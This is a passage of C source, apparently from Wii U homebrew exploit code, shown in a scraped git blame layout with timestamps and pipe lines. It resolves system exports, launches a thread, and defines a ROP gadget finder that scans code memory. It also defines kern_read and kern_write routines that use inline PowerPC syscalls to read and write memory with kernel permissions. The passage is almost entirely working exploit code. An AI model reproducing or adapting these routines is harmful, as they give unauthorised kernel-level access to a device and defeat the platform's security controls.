OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
|
|
|
|
|
|
|
|
uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20);
|
|
|
|
void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8);
|
|
|
|
|
|
|
|
OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A);
|
|
|
|
OSResumeThread(thread1);
|
|
|
|
while(OSIsThreadTerminated(thread1) == 0)
|
|
|
|
{
|
|
|
|
asm volatile (
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
);
|
|
|
|
}
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
/* Simple memcmp() implementation */
|
|
|
|
int memcmp(void *ptr1, void *ptr2, uint32_t length)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
uint8_t *check1 = (uint8_t*) ptr1;
|
|
|
|
uint8_t *check2 = (uint8_t*) ptr2;
|
|
|
|
uint32_t i;
|
|
|
|
for (i = 0; i < length; i++)
|
|
|
|
{
|
|
|
|
if (check1[i] != check2[i]) return 1;
|
|
|
|
}
|
|
|
|
|
|
|
|
return 0;
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
void* memcpy(void* dst, const void* src, uint32_t size)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
uint32_t i;
|
|
|
|
for (i = 0; i < size; i++)
|
|
|
|
((uint8_t*) dst)[i] = ((const uint8_t*) src)[i];
|
|
|
|
return dst;
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
/* Find a gadget based on a sequence of words */
|
|
|
|
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
uint32_t *ptr;
|
|
|
|
|
|
|
|
/* Search code before JIT area first */
|
|
|
|
for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++)
|
|
|
|
{
|
|
|
|
if (!memcmp(ptr, &code[0], length)) return ptr;
|
|
|
|
}
|
|
|
|
|
|
|
|
/* Restart search after JIT */
|
|
|
|
for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++)
|
|
|
|
{
|
|
|
|
if (!memcmp(ptr, &code[0], length)) return ptr;
|
|
|
|
}
|
|
|
|
|
|
|
|
OSFatal("Gadget not found!");
|
|
|
|
return (void*)0;
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
/* Read a 32-bit word with kernel permissions */
|
|
|
|
uint32_t __attribute__ ((noinline)) kern_read(const void *addr)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
uint32_t result;
|
|
|
|
asm volatile (
|
|
|
|
"li 3,1\n"
|
|
|
|
"li 4,0\n"
|
|
|
|
"li 5,0\n"
|
|
|
|
"li 6,0\n"
|
|
|
|
"li 7,0\n"
|
|
|
|
"lis 8,1\n"
|
|
|
|
"mr 9,%1\n"
|
|
|
|
"li 0,0x3400\n"
|
|
|
|
"mr %0,1\n"
|
|
|
|
"sc\n"
|
|
|
|
"nop\n"
|
|
|
|
"mr 1,%0\n"
|
|
|
|
"mr %0,3\n"
|
|
|
|
: "=r"(result)
|
|
|
|
: "b"(addr)
|
|
|
|
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
|
|
|
"11", "12"
|
|
|
|
);
|
|
|
|
|
|
|
|
return result;
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
/* Write a 32-bit word with kernel permissions */
|
|
|
|
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
asm volatile (
|
|
|
|
"li 3,1\n"
|
|
|
|
"li 4,0\n"
|
|
|
|
"mr 5,%1\n"
|
|
|
|
"li 6,0\n"
|
|
|
|
"li 7,0\n"
|
|
|
|
"lis 8,1\n"
|
|
|
|
"mr 9,%0\n"
|
|
|
|
"mr %1,1\n"
|
|
|
|
"li 0,0x3500\n"
|
|
|
|
"sc\n"
|
|
|
|
"nop\n"
|
|
|
|
"mr 1,%1\n"
|
|
|
|
:
|
|
|
|
: "r"(addr), "r"(value)
|
|
|
|
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
|
|
|
"11", "12"
|
|
|
|
);
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|